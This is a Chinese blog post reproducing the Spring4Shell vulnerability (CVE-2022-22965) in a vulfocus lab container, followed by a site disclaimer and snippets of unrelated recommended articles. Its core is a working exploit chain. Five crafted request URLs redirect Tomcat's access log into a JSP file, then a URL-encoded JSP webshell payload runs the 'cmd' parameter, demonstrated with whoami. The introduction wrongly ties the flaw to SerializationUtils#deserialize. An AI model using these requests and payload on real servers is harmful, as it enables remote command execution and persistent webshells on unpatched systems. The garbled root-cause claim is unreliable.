(2022年12月最新)spring-core-rce漏洞复现CVE-2022-22965

2023-10-29

1、漏洞简介

2022年3月29日,Spring框架曝出RCE 0day漏洞。已经证实由于 SerializationUtils#deserialize 基于 Java 的序列化机制,可导致远程代码执行 (RCE),使用JDK9及以上版本皆有可能受到影响。
通过该漏洞可写入webshell以及命令执行。在Spring框架的JDK9版本(及以上版本)中,远程攻击者可在满足特定条件的基础上,通过框架的参数绑定功能获取AccessLogValve对象并诸如恶意字段值,从而触发pipeline机制并写入任意路径下的文件。

2、漏洞利用条件

1、Apache Tomcat作为Servlet容器;
2、使用JDK9及以上版本的Spring MVC框架;
3、Spring框架以及衍生的框架spring-beans-*.jar文件或者存在CachedIntrospectionResults.class

3、漏洞复现

1、使用vulfocus靶场

docker pull vulfocus/spring-core-rce-2022-03-29:latest

2、分5次分别运行以下代码:

http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring
http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

3、访问http://xxx.xxx.230.165:27379/?shell.jsp,出现spring说明写入成功
在这里插入图片描述
4、访问地址http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring ,使用Burp进行抓包,替换pattern后的内容为如下payload,

```bash
%25%7Bc2%7Di%20if(%22t%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di

5、将如下参数带上,之后使用Burp进行发包

suffix:%>//
c1:Runtime
c2:<%

在这里插入图片描述
6、出现OK后,就可以访问http://xxx.xxx.230.165:27379/shell.jsp?pwd=t&cmd=whoami,即可执行任意代码
在这里插入图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

(2022年12月最新)spring-core-rce漏洞复现CVE-2022-22965 的相关文章

随机推荐

  • Map和Set详解

    一 二叉搜索树搜索树 1 二叉搜索树的概念 二叉搜索树又称二叉排序树 它或者是一棵空树 或者是具有以下性质的二叉树 若它的左子树不为空 则左子树上所有节点的值都小于根节点的值 若它的右子树不为空 则右子树上所有节点的值都大于根节点的值 它的
  • Vue引入qrcode.js实现生成二维码

    最近Vue音视频项目应用层中有JavaScript生成二维码的需求 所以记录下整个二维码生成的步骤 1 vue qr是基于qrcode js封装的vue库 可以动态生成二维码 并且可以自定义样式 npm install vue qr sav
  • unity中异步加载场景时灯光变暗的问题

    记得以前遇到到这种情况 然后 经久不用 忘记了 这次记录一下 加深印象 你会发现跳转场景后 后者的游戏场景的灯光会变暗 而且还改不回原来的效果 这里需要对场景进行灯光烘培 具体操作 Window Lighting Settings 取消勾选
  • python处理复杂excel_Python实现Excel的10个常用操作!干货满满(建议收藏)

    自从学了Python后就逼迫自己不用Excel 所有操作用Python实现 直接进入正题 数据是网上找到的销售数据 长这样 一 关联公式 Vlookup vlookup是excel几乎最常用的公式 一般用于两个表的关联查询等 所以我先把这张
  • 使用TypeScript 搜索JSON的简单方法

    使用TS 写了一个简单的 搜索JSON数组的方法 分享给大家 感觉效率一般 有方法的朋友请拍砖 public static JsonQuery arr Array
  • 浏览器滚动条样式

    webkit scrollbar 滚动条整体部分 webkit scrollbar thumb 滚动条里面的小方块 能上下左右移动 取决于是垂直滚动条还是水平滚动条 webkit scrollbar track 滚动条的轨道 里面装有thu
  • python找假硬币二分法_python – OpenCV硬币检测和自动结果检查

    我正在开展一个硬币识别项目 我遇到的第一件事就是从图像中提取正确的硬币 即使是非常简单的图像也是如此 硬币检测有很多好的工作方法 但我认为所有这些都需要在申请后进行人工检查 我测试了其中两个 cv2 HoughCircles和阈值与find
  • 如何新建一个vue项目?

    截止目前新建一个vue项目 有多种选择 比如 1 vue版本 vue2 vue3 2 脚手架 vue cli vue cli vite 其中 Vue cli Vue 一堆的js插件 vue cli是Vue cli的最新版本 不同vue cl
  • DDL与DML语句

    1 DDL语句 SQL语句 结构化查询语句 使用SQL与数据库 沟通 完成相应的数据库操作 l DDL 数据定义语言 用来维护数据库对象 1 1 创建表 CREATE 创建表 演示 创建员工表 CREATE TABLE employee i
  • Python下载pandas库失败的解决办法

    使用pip install pandas 总是失败 在网上找了好几个办法都不行 最后解决办法 pip default timeout 1000 install pandas 完美解决
  • package.json版本号符号^和~前缀的区别

    开发中经常会使用npm install 安装依赖包 经常会看到 符号和 符号 现将二者的区别总结如下 devDependencies babel runtime 7 12 0 dcloudio types dcloudio uni auto
  • 查找——二叉排序树(C语言实现)

    二叉排序树 二叉查找树 树表的提出 1 如何在一个大型的数据集合上进行动态查找 1 顺序查找 不要求元素的有序性 插入 删除的性能是O 1 查找性能是O n lt 需要一个个比较 gt 2 折半查找 查找性能是O log2n 为保证元素的有
  • 【Codeforces思维题】20220728

    2022 07 28 1582D Vupsen Pupsen and 0 题目 题目链接 题解 考虑确定 b i b i bi 和 b
  • HttpServletResponse对象

    1 HttpServletResponse对象 1 Web服务器收到一个http请求 会针对每个请求创建一个HttpServletRequest和HttpServletResponse对象 向客户端发送数据找HttpServletRespo
  • angular 报错:ERROR Error: Uncaught (in promise): Error: Template parse errors:

    angular 报错 ERROR Error Uncaught in promise Error Template parse errors 错误信息 More than one component matched on this elem
  • ajax工作 服务器端产生js事件,javaweb期末题..doc

    javaweb期末题 四个scope及意义chapter6 p62 四个scope分别是pagerequest sessionapplication 意义 动作用于声明 JSP 页面将使用存储在指定作用域中 并可从中访问的 bean 动作包
  • 简述为什么输出层在使用sigmoid做激励函数时, 代价函数用交叉熵比平方差更好

    符号 C 代价函数 w weight b bias 学习速率 在使用平方差作代价函数时 其中a是预测结果 即 其用链式法则来求权重和偏置的偏导数就有 这里求导过程我就不写了 毕竟从 宏观 上来理解一个问题我觉得会更重要 如果想去了解完整的过
  • html怎么转换成自己的链接,HTML文本转换成一个链接

    A Compare BookA 12 2 BookB 41 4 44 6 BookC 1 11 17 2 8 而且这个JavaScript 我使用它来生产什么我想 txt txt replace BookA BookB BookC d g
  • Windows Server 2012 Opencv 或者javacv 运行不起来解决方法

    现象是会提示你找不到依赖 注意 可以通过安装桌面体验来解决这个问题 不要再下载什么dl l包了
  • (2022年12月最新)spring-core-rce漏洞复现CVE-2022-22965

    1 漏洞简介 2022年3月29日 Spring框架曝出RCE 0day漏洞 已经证实由于 SerializationUtils deserialize 基于 Java 的序列化机制 可导致远程代码执行 RCE 使用JDK9及以上版本皆有可